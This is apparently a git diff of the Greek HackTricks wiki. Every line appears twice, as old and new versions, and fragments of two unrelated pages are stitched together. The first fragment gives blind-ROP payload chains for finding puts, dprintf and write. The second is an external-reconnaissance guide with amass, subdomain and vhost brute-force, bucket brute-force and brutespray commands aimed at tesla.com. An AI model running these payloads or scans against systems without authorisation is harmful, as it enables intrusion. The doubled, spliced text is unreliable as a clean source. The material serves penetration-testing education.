Ωστόσο, γνωρίζουμε **πού είναι ο πίνακας PLT** και είναι δυνατό να βρούμε τη write με βάση τη **συμπεριφορά** της. Και μπορούμε να δημιουργήσουμε **πολλές συνδέσεις** με τον server και να χρησιμοποιήσουμε έναν **υψηλό FD** ελπίζοντας ότι θα ταιριάζει με κάποιες από τις συνδέσεις μας. Ωστόσο, γνωρίζουμε **πού είναι ο πίνακας PLT** και είναι δυνατό να βρούμε τη write με βάση τη **συμπεριφορά** της. Και μπορούμε να δημιουργήσουμε **πολλές συνδέσεις** με τον server και να χρησιμοποιήσουμε έναν **υψηλό FD** ελπίζοντας ότι θα ταιριάζει με κάποιες από τις συνδέσεις μας.
Υπογραφές συμπεριφοράς για να βρείτε αυτές τις συναρτήσεις: Υπογραφές συμπεριφοράς για να βρείτε αυτές τις συναρτήσεις:
* `'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0) + p64(0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> Αν εκτυπώνονται δεδομένα, τότε βρέθηκε η puts * `'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0) + p64(0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> Αν εκτυπωθούν δεδομένα, τότε βρέθηκε η puts
* `'A' * offset + canary + rbp + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> Αν εκτυπώνονται δεδομένα, τότε βρέθηκε η dprintf * `'A' * offset + canary + rbp + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> Αν εκτυπωθούν δεδομένα, τότε βρέθηκε η dprintf
* `'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + (RIP + 0x1) + p64(0x0) + (PLT + 0xb ) + p64(STRCMP ENTRY) + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> Αν εκτυπώνονται δεδομένα, τότε βρέθηκε η write * `'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + (RIP + 0x1) + p64(0x0) + (PLT + 0xb ) + p64(STRCMP ENTRY) + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> Αν εκτυπωθούν δεδομένα, τότε βρέθηκε η write
## Automatic Exploitation ## Automatic Exploitation

View file

@ -9,15 +9,15 @@
<summary>Υποστήριξη HackTricks</summary> <summary>Υποστήριξη HackTricks</summary>
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)! * Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στο** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) ή στο [**telegram group**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. * **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details> </details>
{% endhint %} {% endhint %}
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Αν ενδιαφέρεστε για **καριέρα hacking** και να χακάρετε το αχάκωτο - **προσλαμβάνουμε!** (_απαιτείται άριστη γνώση πολωνικών γραπτά και προφορικά_). Αν ενδιαφέρεστε για **καριέρα hacking** και να χακάρετε το αχάκωτο - **προσλαμβάνουμε!** (_απαιτείται άριστη γνώση πολωνικών, γραπτά και προφορικά_).
{% embed url="https://www.stmcyber.com/careers" %} {% embed url="https://www.stmcyber.com/careers" %}
@ -35,25 +35,25 @@
### **Εξαγορές** ### **Εξαγορές**
Πρώτα απ' όλα, πρέπει να ξέρουμε ποιες **άλλες εταιρείες ανήκουν στην κύρια εταιρεία**.\ Πρώτα απ' όλα, πρέπει να ξέρουμε ποιες **άλλες εταιρείες ανήκουν στην κύρια εταιρεία**.\
Μια επιλογή είναι να επισκεφθείτε το [https://www.crunchbase.com/](https://www.crunchbase.com), **να αναζητήσετε** την **κύρια εταιρεία**, και **να κάνετε κλικ** στο "**exagores**". Εκεί θα δείτε άλλες εταιρείες που αποκτήθηκαν από την κύρια.\ Μια επιλογή είναι να επισκεφθείτε το [https://www.crunchbase.com/](https://www.crunchbase.com), **να αναζητήσετε** την **κύρια εταιρεία**, και **να κάνετε κλικ** στις "**εξαγορές**". Εκεί θα δείτε άλλες εταιρείες που αποκτήθηκαν από την κύρια.\
Μια άλλη επιλογή είναι να επισκεφθείτε τη σελίδα **Wikipedia** της κύριας εταιρείας και να αναζητήσετε **εξαγορές**. Μια άλλη επιλογή είναι να επισκεφθείτε τη σελίδα **Wikipedia** της κύριας εταιρείας και να αναζητήσετε **εξαγορές**.
> Εντάξει, σε αυτό το σημείο θα πρέπει να γνωρίζετε όλες τις εταιρείες εντός του πεδίου εφαρμογής. Ας δούμε πώς να βρούμε τα περιουσιακά τους στοιχεία. > Εντάξει, σε αυτό το σημείο θα πρέπει να γνωρίζετε όλες τις εταιρείες εντός του πεδίου εφαρμογής. Ας καταλάβουμε πώς να βρούμε τα περιουσιακά τους στοιχεία.
### **ASNs** ### **ASNs**
Ένας αριθμός αυτόνομου συστήματος (**ASN**) είναι ένας **μοναδικός αριθμός** που αποδίδεται σε ένα **αυτόνομο σύστημα** (AS) από την **Internet Assigned Numbers Authority (IANA)**.\ Ένας αριθμός αυτόνομου συστήματος (**ASN**) είναι ένας **μοναδικός αριθμός** που αποδίδεται σε ένα **αυτόνομο σύστημα** (AS) από την **Αρχή Κατανομής Αριθμών Διαδικτύου (IANA)**.\
Ένα **AS** αποτελείται από **μπλοκ** **διευθύνσεων IP** που έχουν μια σαφώς καθορισμένη πολιτική για την πρόσβαση σε εξωτερικά δίκτυα και διοικούνται από μια μόνο οργάνωση αλλά μπορεί να αποτελείται από αρκετούς φορείς. Ένα **AS** αποτελείται από **μπλοκ** **διευθύνσεων IP** που έχουν μια σαφώς καθορισμένη πολιτική για την πρόσβαση σε εξωτερικά δίκτυα και διοικούνται από μια μόνο οργάνωση αλλά μπορεί να αποτελείται από αρκετούς φορείς.
Είναι ενδιαφέρον να βρούμε αν η **εταιρεία έχει αναθέσει κάποιο ASN** για να βρούμε τις **περιοχές IP** της. Θα είναι ενδιαφέρον να εκτελέσουμε μια **δοκιμή ευπάθειας** σε όλους τους **φιλοξενούμενους** εντός του **πεδίου εφαρμογής** και **να αναζητήσουμε τομείς** μέσα σε αυτές τις IPs.\ Είναι ενδιαφέρον να βρούμε αν η **εταιρεία έχει αναθέσει κάποιο ASN** για να βρούμε τις **περιοχές IP της.** Θα είναι ενδιαφέρον να εκτελέσουμε μια **δοκιμή ευπάθειας** σε όλους τους **φιλοξενούμενους** εντός του **πεδίου εφαρμογής** και **να αναζητήσουμε τομείς** μέσα σε αυτές τις IPs.\
Μπορείτε να **αναζητήσετε** με το όνομα της εταιρείας, με **IP** ή με **τομέα** στο [**https://bgp.he.net/**](https://bgp.he.net)**.**\ Μπορείτε να **αναζητήσετε** με το όνομα της εταιρείας, με **IP** ή με **τομέα** στο [**https://bgp.he.net/**](https://bgp.he.net)**.**\
**Ανάλογα με την περιοχή της εταιρείας, αυτοί οι σύνδεσμοι μπορεί να είναι χρήσιμοι για τη συλλογή περισσότερων δεδομένων:** [**AFRINIC**](https://www.afrinic.net) **(Αφρική),** [**Arin**](https://www.arin.net/about/welcome/region/)**(Βόρεια Αμερική),** [**APNIC**](https://www.apnic.net) **(Ασία),** [**LACNIC**](https://www.lacnic.net) **(Λατινική Αμερική),** [**RIPE NCC**](https://www.ripe.net) **(Ευρώπη). Ούτως ή άλλως, πιθανότατα όλες οι** χρήσιμες πληροφορίες **(περιοχές IP και Whois)** εμφανίζονται ήδη στον πρώτο σύνδεσμο. **Ανάλογα με την περιοχή της εταιρείας, αυτοί οι σύνδεσμοι θα μπορούσαν να είναι χρήσιμοι για τη συλλογή περισσότερων δεδομένων:** [**AFRINIC**](https://www.afrinic.net) **(Αφρική),** [**Arin**](https://www.arin.net/about/welcome/region/)**(Βόρεια Αμερική),** [**APNIC**](https://www.apnic.net) **(Ασία),** [**LACNIC**](https://www.lacnic.net) **(Λατινική Αμερική),** [**RIPE NCC**](https://www.ripe.net) **(Ευρώπη). Ούτως ή άλλως, πιθανότατα όλες οι** χρήσιμες πληροφορίες **(περιοχές IP και Whois)** εμφανίζονται ήδη στον πρώτο σύνδεσμο.
```bash ```bash
#You can try "automate" this with amass, but it's not very recommended #You can try "automate" this with amass, but it's not very recommended
amass intel -org tesla amass intel -org tesla
amass intel -asn 8911,50313,394161 amass intel -asn 8911,50313,394161
``` ```
Επίσης, η υποτομέας καταμέτρηση του [**BBOT**](https://github.com/blacklanternsecurity/bbot)**'s** συγκεντρώνει και συνοψίζει αυτόματα τα ASNs στο τέλος της σάρωσης. Επίσης, [**BBOT**](https://github.com/blacklanternsecurity/bbot)**'s** η καταμέτρηση υποτομέων συγκεντρώνει και συνοψίζει αυτόματα τα ASN στο τέλος της σάρωσης.
```bash ```bash
bbot -t tesla.com -f subdomain-enum bbot -t tesla.com -f subdomain-enum
... ...
@ -75,8 +75,8 @@ bbot -t tesla.com -f subdomain-enum
### **Αναζητώντας ευπάθειες** ### **Αναζητώντας ευπάθειες**
Σε αυτό το σημείο γνωρίζουμε **όλα τα περιουσιακά στοιχεία εντός του πεδίου**, οπότε αν έχετε άδεια, μπορείτε να εκκινήσετε κάποιο **σάρωσης ευπαθειών** (Nessus, OpenVAS) σε όλους τους hosts.\ Σε αυτό το σημείο γνωρίζουμε **όλα τα περιουσιακά στοιχεία εντός του πεδίου**, οπότε αν έχετε άδεια μπορείτε να εκκινήσετε κάποιο **σάρωσης ευπαθειών** (Nessus, OpenVAS) σε όλους τους υπολογιστές.\
Επίσης, μπορείτε να εκκινήσετε κάποιες [**σάρωσεις θυρών**](../pentesting-network/#discovering-hosts-from-the-outside) **ή να χρησιμοποιήσετε υπηρεσίες όπως** shodan **για να βρείτε** ανοιχτές θύρες **και ανάλογα με το τι θα βρείτε, θα πρέπει να** ρίξετε μια ματιά σε αυτό το βιβλίο για το πώς να κάνετε pentest σε διάφορες πιθανές υπηρεσίες που τρέχουν.\ Επίσης, μπορείτε να εκκινήσετε κάποιες [**σάρωσεις θυρών**](../pentesting-network/#discovering-hosts-from-the-outside) **ή να χρησιμοποιήσετε υπηρεσίες όπως** shodan **για να βρείτε** ανοιχτές θύρες **και ανάλογα με το τι θα βρείτε θα πρέπει να** ρίξετε μια ματιά σε αυτό το βιβλίο για το πώς να κάνετε pentest σε διάφορες πιθανές υπηρεσίες που εκτελούνται.\
**Επίσης, αξίζει να αναφερθεί ότι μπορείτε επίσης να προετοιμάσετε κάποιες** λίστες με προεπιλεγμένα ονόματα χρήστη **και** κωδικούς πρόσβασης **και να προσπαθήσετε να** κάνετε bruteforce υπηρεσίες με [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray). **Επίσης, αξίζει να αναφερθεί ότι μπορείτε επίσης να προετοιμάσετε κάποιες** λίστες με προεπιλεγμένα ονόματα χρήστη **και** κωδικούς πρόσβασης **και να προσπαθήσετε να** κάνετε bruteforce υπηρεσίες με [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray).
## Τομείς ## Τομείς
@ -99,7 +99,7 @@ dnsrecon -r 157.240.221.35/24 -n 8.8.8.8 #Using google dns
Για να λειτουργήσει αυτό, ο διαχειριστής πρέπει να ενεργοποιήσει χειροκίνητα το PTR.\ Για να λειτουργήσει αυτό, ο διαχειριστής πρέπει να ενεργοποιήσει χειροκίνητα το PTR.\
Μπορείτε επίσης να χρησιμοποιήσετε ένα διαδικτυακό εργαλείο για αυτές τις πληροφορίες: [http://ptrarchive.com/](http://ptrarchive.com) Μπορείτε επίσης να χρησιμοποιήσετε ένα διαδικτυακό εργαλείο για αυτές τις πληροφορίες: [http://ptrarchive.com/](http://ptrarchive.com)
### **Αντίστροφο Whois (loop)** ### **Αντίστροφος Whois (loop)**
Μέσα σε ένα **whois** μπορείτε να βρείτε πολλές ενδιαφέρουσες **πληροφορίες** όπως **όνομα οργανισμού**, **διεύθυνση**, **emails**, αριθμούς τηλεφώνου... Αλλά το πιο ενδιαφέρον είναι ότι μπορείτε να βρείτε **περισσότερα περιουσιακά στοιχεία που σχετίζονται με την εταιρεία** αν εκτελέσετε **αντίστροφες αναζητήσεις whois με οποιοδήποτε από αυτά τα πεδία** (για παράδειγμα άλλες μητρώες whois όπου εμφανίζεται το ίδιο email).\ Μέσα σε ένα **whois** μπορείτε να βρείτε πολλές ενδιαφέρουσες **πληροφορίες** όπως **όνομα οργανισμού**, **διεύθυνση**, **emails**, αριθμούς τηλεφώνου... Αλλά το πιο ενδιαφέρον είναι ότι μπορείτε να βρείτε **περισσότερα περιουσιακά στοιχεία που σχετίζονται με την εταιρεία** αν εκτελέσετε **αντίστροφες αναζητήσεις whois με οποιοδήποτε από αυτά τα πεδία** (για παράδειγμα άλλες μητρώες whois όπου εμφανίζεται το ίδιο email).\
Μπορείτε να χρησιμοποιήσετε διαδικτυακά εργαλεία όπως: Μπορείτε να χρησιμοποιήσετε διαδικτυακά εργαλεία όπως:
@ -112,7 +112,7 @@ dnsrecon -r 157.240.221.35/24 -n 8.8.8.8 #Using google dns
* [https://drs.whoisxmlapi.com/reverse-whois-search](https://drs.whoisxmlapi.com/reverse-whois-search) - Όχι δωρεάν (μόνο **100 δωρεάν** αναζητήσεις) * [https://drs.whoisxmlapi.com/reverse-whois-search](https://drs.whoisxmlapi.com/reverse-whois-search) - Όχι δωρεάν (μόνο **100 δωρεάν** αναζητήσεις)
* [https://www.domainiq.com/](https://www.domainiq.com) - Όχι δωρεάν * [https://www.domainiq.com/](https://www.domainiq.com) - Όχι δωρεάν
Μπορείτε να αυτοματοποιήσετε αυτή την εργασία χρησιμοποιώντας [**DomLink** ](https://github.com/vysecurity/DomLink)(απαιτεί κλειδί API whoxy).\ Μπορείτε να αυτοματοποιήσετε αυτή την εργασία χρησιμοποιώντας [**DomLink** ](https://github.com/vysecurity/DomLink) (απαιτεί κλειδί API whoxy).\
Μπορείτε επίσης να εκτελέσετε κάποια αυτόματη ανακάλυψη αντίστροφου whois με [amass](https://github.com/OWASP/Amass): `amass intel -d tesla.com -whois` Μπορείτε επίσης να εκτελέσετε κάποια αυτόματη ανακάλυψη αντίστροφου whois με [amass](https://github.com/OWASP/Amass): `amass intel -d tesla.com -whois`
**Σημειώστε ότι μπορείτε να χρησιμοποιήσετε αυτή την τεχνική για να ανακαλύψετε περισσότερα ονόματα τομέα κάθε φορά που βρίσκετε ένα νέο τομέα.** **Σημειώστε ότι μπορείτε να χρησιμοποιήσετε αυτή την τεχνική για να ανακαλύψετε περισσότερα ονόματα τομέα κάθε φορά που βρίσκετε ένα νέο τομέα.**
@ -132,7 +132,7 @@ dnsrecon -r 157.240.221.35/24 -n 8.8.8.8 #Using google dns
### **Favicon** ### **Favicon**
Γνωρίζατε ότι μπορούμε να βρούμε σχετικούς τομείς και υποτομείς στον στόχο μας αναζητώντας το ίδιο hash εικονιδίου favicon; Αυτό ακριβώς κάνει το εργαλείο [favihash.py](https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/favihash.py) που δημιούργησε ο [@m4ll0k2](https://twitter.com/m4ll0k2). Να πώς να το χρησιμοποιήσετε: Γνωρίζατε ότι μπορούμε να βρούμε σχετικούς τομείς και υποτομείς στον στόχο μας αναζητώντας το ίδιο hash εικονιδίου favicon; Αυτό ακριβώς κάνει το εργαλείο [favihash.py](https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/favihash.py) που έχει δημιουργήσει ο [@m4ll0k2](https://twitter.com/m4ll0k2). Να πώς να το χρησιμοποιήσετε:
```bash ```bash
cat my_targets.txt | xargs -I %% bash -c 'echo "http://%%/favicon.ico"' > targets.txt cat my_targets.txt | xargs -I %% bash -c 'echo "http://%%/favicon.ico"' > targets.txt
python3 favihash.py -f https://target/favicon.ico -t targets.txt -s python3 favihash.py -f https://target/favicon.ico -t targets.txt -s
@ -141,7 +141,7 @@ python3 favihash.py -f https://target/favicon.ico -t targets.txt -s
Απλά, το favihash θα μας επιτρέψει να ανακαλύψουμε τομείς που έχουν το ίδιο hash εικονιδίου favicon με τον στόχο μας. Απλά, το favihash θα μας επιτρέψει να ανακαλύψουμε τομείς που έχουν το ίδιο hash εικονιδίου favicon με τον στόχο μας.
Επιπλέον, μπορείτε επίσης να αναζητήσετε τεχνολογίες χρησιμοποιώντας το hash του favicon όπως εξηγείται σε [**αυτή την ανάρτηση blog**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139). Αυτό σημαίνει ότι αν γνωρίζετε το **hash του favicon μιας ευάλωτης έκδοσης μιας διαδικτυακής τεχνολογίας** μπορείτε να αναζητήσετε αν στο shodan και **να βρείτε περισσότερα ευάλωτα μέρη**: Επιπλέον, μπορείτε επίσης να αναζητήσετε τεχνολογίες χρησιμοποιώντας το hash του favicon όπως εξηγείται σε [**αυτή την ανάρτηση στο blog**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139). Αυτό σημαίνει ότι αν γνωρίζετε το **hash του favicon μιας ευάλωτης έκδοσης μιας διαδικτυακής τεχνολογίας** μπορείτε να αναζητήσετε αν στο shodan και **να βρείτε περισσότερα ευάλωτα μέρη**:
```bash ```bash
shodan search org:"Target" http.favicon.hash:116323821 --fields ip_str,port --separator " " | awk '{print $1":"$2}' shodan search org:"Target" http.favicon.hash:116323821 --fields ip_str,port --separator " " | awk '{print $1":"$2}'
``` ```
@ -283,7 +283,7 @@ theHarvester -d tesla.com -b "anubis, baidu, bing, binaryedge, bingapi, bufferov
## This is the API the crobat tool will use ## This is the API the crobat tool will use
curl https://sonar.omnisint.io/subdomains/tesla.com | jq -r ".[]" curl https://sonar.omnisint.io/subdomains/tesla.com | jq -r ".[]"
``` ```
* [**JLDC δωρεάν API**](https://jldc.me/anubis/subdomains/google.com) * [**JLDC free API**](https://jldc.me/anubis/subdomains/google.com)
```bash ```bash
curl https://jldc.me/anubis/subdomains/tesla.com | jq -r ".[]" curl https://jldc.me/anubis/subdomains/tesla.com | jq -r ".[]"
``` ```
@ -370,7 +370,7 @@ grep -E "tesla.com. [0-9]+ IN A .+" /tmp/results.txt
``` ```
gobuster dns -d mysite.com -t 50 -w subdomains.txt gobuster dns -d mysite.com -t 50 -w subdomains.txt
``` ```
* [**shuffledns**](https://github.com/projectdiscovery/shuffledns) είναι ένα wrapper γύρω από το `massdns`, γραμμένο σε go, που σας επιτρέπει να καταγράφετε έγκυρους υποτομείς χρησιμοποιώντας ενεργό brute force, καθώς και να επιλύετε υποτομείς με διαχείριση wildcard και εύκολη υποστήριξη εισόδου-εξόδου. * [**shuffledns**](https://github.com/projectdiscovery/shuffledns) είναι ένα wrapper γύρω από το `massdns`, γραμμένο σε go, που σας επιτρέπει να καταγράφετε έγκυρους υποτομείς χρησιμοποιώντας ενεργό bruteforce, καθώς και να επιλύετε υποτομείς με διαχείριση wildcard και εύκολη υποστήριξη εισόδου-εξόδου.
``` ```
shuffledns -d example.com -list example-subdomains.txt -r resolvers.txt shuffledns -d example.com -list example-subdomains.txt -r resolvers.txt
``` ```
@ -382,9 +382,9 @@ puredns bruteforce all.txt domain.com
``` ```
aiodnsbrute -r resolvers -w wordlist.txt -vv -t 1024 domain.com aiodnsbrute -r resolvers -w wordlist.txt -vv -t 1024 domain.com
``` ```
### Δεύτερος Γύρος Brute-Force DNS ### Δεύτερος Γύρος DNS Brute-Force
Αφού βρείτε υποτομείς χρησιμοποιώντας ανοιχτές πηγές και brute-forcing, μπορείτε να δημιουργήσετε παραλλαγές των υποτομέων που βρήκατε για να προσπαθήσετε να βρείτε ακόμα περισσότερους. Πολλά εργαλεία είναι χρήσιμα για αυτόν τον σκοπό: Αφού βρείτε υποτομείς χρησιμοποιώντας ανοιχτές πηγές και brute-forcing, μπορείτε να δημιουργήσετε παραλλαγές των υποτομέων που βρήκατε για να προσπαθήσετε να βρείτε ακόμη περισσότερους. Πολλά εργαλεία είναι χρήσιμα για αυτόν τον σκοπό:
* [**dnsgen**](https://github.com/ProjectAnte/dnsgen)**:** Δίνοντας τους τομείς και τους υποτομείς, δημιουργεί παραλλαγές. * [**dnsgen**](https://github.com/ProjectAnte/dnsgen)**:** Δίνοντας τους τομείς και τους υποτομείς, δημιουργεί παραλλαγές.
```bash ```bash
@ -404,13 +404,13 @@ gotator -sub subdomains.txt -silent [-perm /tmp/words-permutations.txt]
``` ```
altdns -i subdomains.txt -w /tmp/words-permutations.txt -o /tmp/asd3 altdns -i subdomains.txt -w /tmp/words-permutations.txt -o /tmp/asd3
``` ```
* [**dmut**](https://github.com/bp0lr/dmut): Ένα ακόμα εργαλείο για την εκτέλεση παραλλαγών, μεταλλάξεων και τροποποιήσεων υποτομέων. Αυτό το εργαλείο θα κάνει brute force το αποτέλεσμα (δεν υποστηρίζει dns wild card). * [**dmut**](https://github.com/bp0lr/dmut): Ένα άλλο εργαλείο για την εκτέλεση παραλλαγών, μεταλλάξεων και τροποποιήσεων υποτομέων. Αυτό το εργαλείο θα εκτελέσει brute force στο αποτέλεσμα (δεν υποστηρίζει dns wild card).
* Μπορείτε να αποκτήσετε τη λίστα λέξεων παραλλαγών dmut [**εδώ**](https://raw.githubusercontent.com/bp0lr/dmut/main/words.txt). * Μπορείτε να αποκτήσετε τη λίστα λέξεων παραλλαγών dmut [**εδώ**](https://raw.githubusercontent.com/bp0lr/dmut/main/words.txt).
```bash ```bash
cat subdomains.txt | dmut -d /tmp/words-permutations.txt -w 100 \ cat subdomains.txt | dmut -d /tmp/words-permutations.txt -w 100 \
--dns-errorLimit 10 --use-pb --verbose -s /tmp/resolvers-trusted.txt --dns-errorLimit 10 --use-pb --verbose -s /tmp/resolvers-trusted.txt
``` ```
* [**alterx**](https://github.com/projectdiscovery/alterx)**:** Βασισμένο σε έναν τομέα, **δημιουργεί νέα πιθανά ονόματα υποτομέων** με βάση τις υποδεικνυόμενες προτύπες για να προσπαθήσει να ανακαλύψει περισσότερους υποτομείς. * [**alterx**](https://github.com/projectdiscovery/alterx)**:** Βασισμένο σε ένα τομέα, **δημιουργεί νέα πιθανά ονόματα υποτομέων** με βάση τις υποδεικνυόμενες προτύπες για να προσπαθήσει να ανακαλύψει περισσότερους υποτομείς.
#### Έξυπνη γενιά παραλλαγών #### Έξυπνη γενιά παραλλαγών
@ -434,15 +434,15 @@ echo www | subzuf facebook.com
### **VHosts / Εικονικοί Φιλοξενούμενοι** ### **VHosts / Εικονικοί Φιλοξενούμενοι**
Αν βρείτε μια διεύθυνση IP που περιέχει **μία ή περισσότερες ιστοσελίδες** που ανήκουν σε υποτομείς, μπορείτε να προσπαθήσετε να **βρείτε άλλους υποτομείς με ιστοσελίδες σε αυτή τη διεύθυνση IP** αναζητώντας σε **πηγές OSINT** για τομείς σε μια διεύθυνση IP ή με **brute-forcing ονόματα τομέων VHost σε αυτή τη διεύθυνση IP**. Αν βρείτε μια διεύθυνση IP που περιέχει **μία ή περισσότερες ιστοσελίδες** που ανήκουν σε υποτομείς, μπορείτε να προσπαθήσετε να **βρείτε άλλους υποτομείς με ιστοσελίδες σε αυτήν την IP** αναζητώντας σε **πηγές OSINT** για τομείς σε μια IP ή **δοκιμάζοντας ονόματα τομέων VHost σε αυτήν την IP**.
#### OSINT #### OSINT
Μπορείτε να βρείτε μερικούς **VHosts σε διευθύνσεις IP χρησιμοποιώντας** [**HostHunter**](https://github.com/SpiderLabs/HostHunter) **ή άλλες APIs**. Μπορείτε να βρείτε μερικούς **VHosts σε IPs χρησιμοποιώντας** [**HostHunter**](https://github.com/SpiderLabs/HostHunter) **ή άλλες APIs**.
**Brute Force** **Brute Force**
Αν υποψιάζεστε ότι κάποιος υποτομέας μπορεί να είναι κρυμμένος σε έναν διακομιστή ιστού, μπορείτε να προσπαθήσετε να τον brute force: Αν υποψιάζεστε ότι κάποιος υποτομέας μπορεί να είναι κρυμμένος σε έναν διακομιστή ιστού, μπορείτε να προσπαθήσετε να τον δοκιμάσετε με brute force:
```bash ```bash
ffuf -c -w /path/to/wordlist -u http://victim.com -H "Host: FUZZ.victim.com" ffuf -c -w /path/to/wordlist -u http://victim.com -H "Host: FUZZ.victim.com"
@ -468,8 +468,8 @@ ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http:
``` ```
### **Buckets Brute Force** ### **Buckets Brute Force**
Ενώ ψάχνετε για **subdomains**, προσέξτε αν **δείχνει** σε οποιοδήποτε τύπο **bucket**, και σε αυτή την περίπτωση [**ελέγξτε τα δικαιώματα**](../../network-services-pentesting/pentesting-web/buckets/)**.**\ Ενώ ψάχνετε για **subdomains**, προσέξτε αν **δείχνει** σε οποιοδήποτε τύπο **bucket**, και σε αυτή την περίπτωση [**ελέγξτε τις άδειες**](../../network-services-pentesting/pentesting-web/buckets/)**.**\
Επίσης, καθώς σε αυτό το σημείο θα γνωρίζετε όλα τα domains μέσα στο πεδίο, προσπαθήστε να [**brute force πιθανές ονομασίες buckets και ελέγξτε τα δικαιώματα**](../../network-services-pentesting/pentesting-web/buckets/). Επίσης, καθώς σε αυτό το σημείο θα γνωρίζετε όλα τα domains μέσα στο πεδίο, προσπαθήστε να [**brute force πιθανές ονομασίες buckets και ελέγξτε τις άδειες**](../../network-services-pentesting/pentesting-web/buckets/).
### **Monitorization** ### **Monitorization**
@ -478,7 +478,7 @@ ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http:
### **Looking for vulnerabilities** ### **Looking for vulnerabilities**
Ελέγξτε για πιθανές [**subdomain takeovers**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover).\ Ελέγξτε για πιθανές [**subdomain takeovers**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover).\
Αν το **subdomain** δείχνει σε κάποιο **S3 bucket**, [**ελέγξτε τα δικαιώματα**](../../network-services-pentesting/pentesting-web/buckets/). Αν το **subdomain** δείχνει σε κάποιο **S3 bucket**, [**ελέγξτε τις άδειες**](../../network-services-pentesting/pentesting-web/buckets/).
Αν βρείτε οποιοδήποτε **subdomain με IP διαφορετική** από αυτές που έχετε ήδη βρει στην ανακάλυψη assets, θα πρέπει να εκτελέσετε μια **βασική σάρωση ευπαθειών** (χρησιμοποιώντας Nessus ή OpenVAS) και κάποια [**σάρωση θυρών**](../pentesting-network/#discovering-hosts-from-the-outside) με **nmap/masscan/shodan**. Ανάλογα με τις υπηρεσίες που τρέχουν, μπορείτε να βρείτε σε **αυτό το βιβλίο μερικά κόλπα για να "επιτεθείτε" σε αυτές**.\ Αν βρείτε οποιοδήποτε **subdomain με IP διαφορετική** από αυτές που έχετε ήδη βρει στην ανακάλυψη assets, θα πρέπει να εκτελέσετε μια **βασική σάρωση ευπαθειών** (χρησιμοποιώντας Nessus ή OpenVAS) και κάποια [**σάρωση θυρών**](../pentesting-network/#discovering-hosts-from-the-outside) με **nmap/masscan/shodan**. Ανάλογα με τις υπηρεσίες που τρέχουν, μπορείτε να βρείτε σε **αυτό το βιβλίο μερικά κόλπα για να "επιτεθείτε" σε αυτές**.\
_Σημειώστε ότι μερικές φορές το subdomain φιλοξενείται σε μια IP που δεν ελέγχεται από τον πελάτη, οπότε δεν είναι στο πεδίο, να είστε προσεκτικοί._ _Σημειώστε ότι μερικές φορές το subdomain φιλοξενείται σε μια IP που δεν ελέγχεται από τον πελάτη, οπότε δεν είναι στο πεδίο, να είστε προσεκτικοί._
@ -514,37 +514,37 @@ _Σημειώστε ότι μερικές φορές το subdomain φιλοξε
cat /tmp/domains.txt | httprobe #Test all domains inside the file for port 80 and 443 cat /tmp/domains.txt | httprobe #Test all domains inside the file for port 80 and 443
cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 and 8080 and 8443 cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 and 8080 and 8443
``` ```
### **Screenshots** ### **Στιγμιότυπα**
